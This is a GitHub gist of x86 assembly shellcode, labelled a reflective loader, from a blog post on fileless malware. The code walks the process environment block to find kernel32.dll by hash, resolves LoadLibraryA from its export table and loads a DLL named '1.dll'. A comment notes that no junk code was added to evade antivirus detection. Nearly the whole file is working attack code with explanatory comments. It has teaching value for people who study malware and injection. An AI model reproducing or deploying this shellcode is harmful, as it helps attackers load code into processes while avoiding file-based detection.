Last active
March 25, 2022 02:09
-
-
Save adelmas/7cd84cd0973d685e3cb56776d03b6ea2 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; Reflective Loader shellcode loading a DLL | |
; =============================================== | |
; Posted on http://adelmas.com/blog/fileless_malwares.php by @ArnaudDlms | |
; | |
; Written in x86 ASM with Flat Assembler | |
; No junk code added so executable might be detected as malicious by AVs | |
; Host process must be 32-bit | |
; | |
; Inspired by the following C code by Stephen Fewer : | |
; https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveLoader.c | |
include 'win32ax.inc' | |
.code | |
start: | |
pushad | |
add esp, -40h | |
cld | |
xor edx, edx | |
mov edx, [fs:edx+30h] ; Getting PEB structure | |
mov edx, [edx+0Ch] ; Getting a pointer to the PEB_LDR_DATA field | |
; struct PEB { | |
; BOOLEAN InheritedAddressSpace; | |
; BOOLEAN ReadImageFileExecOptions; | |
; BOOLEAN BeingDebugged; | |
; BOOLEAN Spare; | |
; HANDLE Mutant; | |
; PVOID ImageBaseAddress; | |
; --> PPEB_LDR_DATA LoaderData; | |
; [...] | |
mov edx, [edx+14h] ; Getting a pointer to the InMemOrderModuleList field | |
; struct PEB_LDR_DATA { | |
; ULONG Length; | |
; BOOLEAN Initialized; | |
; PVOID SsHandle; | |
; LIST_ENTRY InLoadOrderModuleList; | |
; --> LIST_ENTRY InMemoryOrderModuleList; | |
; [...] | |
dllname_loop: | |
mov esi, [edx+28h] ; Getting a pointer to the FullDllName field Unicode string | |
; struct LDR_MODULE { | |
; mLIST InLoadOrderModuleList; // Pointer to the next LDR_MODULE in load order | |
; mLIST InMemoryOrderModuleList; | |
; mLIST InInitializationOrderModuleList; | |
; PVOID BaseAddress; // HMODULE | |
; PVOID EntryPoint; | |
; ULONG SizeOfImage; | |
; --> UNICODE_STRING FullDllName; | |
; [...] | |
mov ecx, 18h | |
xor edi, edi | |
hash_loop: | |
xor eax, eax | |
lods byte [esi] | |
cmp al, 61h | |
jl hash_next | |
sub al, 20h | |
hash_next: | |
ror edi, 0Dh | |
add edi, eax | |
loopd hash_loop | |
cmp edi, 6A4ABC5Bh ; Comparing with 'kernel32.dll' hash | |
mov ebx, [edx+10h] ; Saving the BaseAddress field, pointing to a IMAGE_DOS_HEADER struct | |
mov [ebp-4], ebx | |
mov edx, [edx] ; Next LDR_MODULE | |
jnz dllname_loop | |
mov ecx, [ebx+3Ch] ; Saving e_lfanew field | |
add ecx, ebx ; VA of NT Header modules. ebx -> NT Header ("PE...") | |
add ecx, 18h ; OptionalHeader field | |
add ecx, 60h ; DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT] field (32-bit, 70h for 64-bit) | |
mov [ebp-8], ecx | |
mov ecx, [ecx] ; Getting VirtualAddress field | |
add ecx, ebx ; RVA -> VA of the Export Directory | |
push ecx | |
add ecx, 24h ; AddressOfNameOrdinals | |
mov ecx, [ecx] | |
add ecx, ebx ; RVA -> VA : Ordinal names array. We will use ordinals to locate the position in the AddressOfFunctions array | |
mov [ebp-12], ecx | |
pop ecx | |
push ecx | |
add ecx, 1Ch ; AddressOfFunctions | |
mov ecx, [ecx] | |
add ecx, ebx | |
mov [ebp-16], ecx | |
pop ecx | |
add ecx, 20h ; AddressOfNames field | |
mov ecx, [ecx] | |
add ecx, ebx ; RVA -> VA : Function names array | |
mov edx, [ecx] | |
add edx, ebx | |
mov esi, edx | |
functionnames_loop: ; Iterating through all function names to locate LoadLibraryA address | |
push ecx | |
mov ecx, 18h | |
xor edi, edi | |
hashnames_loop: ; Same hashing routine | |
xor eax, eax | |
lods byte [esi] | |
cmp al, 61h | |
jl hashnames_next | |
sub al, 20h | |
hashnames_next: | |
ror edi, 0Dh | |
add edi, eax | |
loopd hashnames_loop | |
cmp edi, 117B18BAh ; Comparing with 'LoadLibraryA' hash | |
pop ecx | |
jz name_found | |
add ecx, 4 ; Next function name | |
mov edx, [ecx] | |
add edx, [ebp-4] | |
mov esi, edx | |
mov edx, [ebp-12] ; Next function name ordinal | |
add edx, 2 | |
mov [ebp-12], edx | |
jmp functionnames_loop | |
name_found: | |
mov edx, [ebp-16] ; AddressOfFunctions array | |
add edx, [ebp-4] ; BaseAddress | |
xor eax, eax | |
mov ecx, [ebp-12] ; AddressOfNameOrdinals | |
mov ax, [ecx] | |
mov edx, 4 | |
mul edx ; eax = ordinal*sizeof(DWORD) | |
mov edx, [ebp-16] | |
add edx, eax | |
mov edx, [edx] | |
add edx, [ebp-4] ; edx now contains the LoadLibraryA function's address | |
mov [ebp-29], byte 0 | |
mov [ebp-30], byte 'l' | |
mov [ebp-31], byte 'l' | |
mov [ebp-32], byte 'd' | |
mov [ebp-33], byte '.' | |
mov [ebp-34], byte '1' ; DLL you want to load | |
lea eax, [ebp-34] | |
push eax | |
call edx ; LoadLibraryA | |
popad | |
invoke ExitProcess, 0 | |
.end start |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
http://adelmas.com/blog/fileless_malwares.php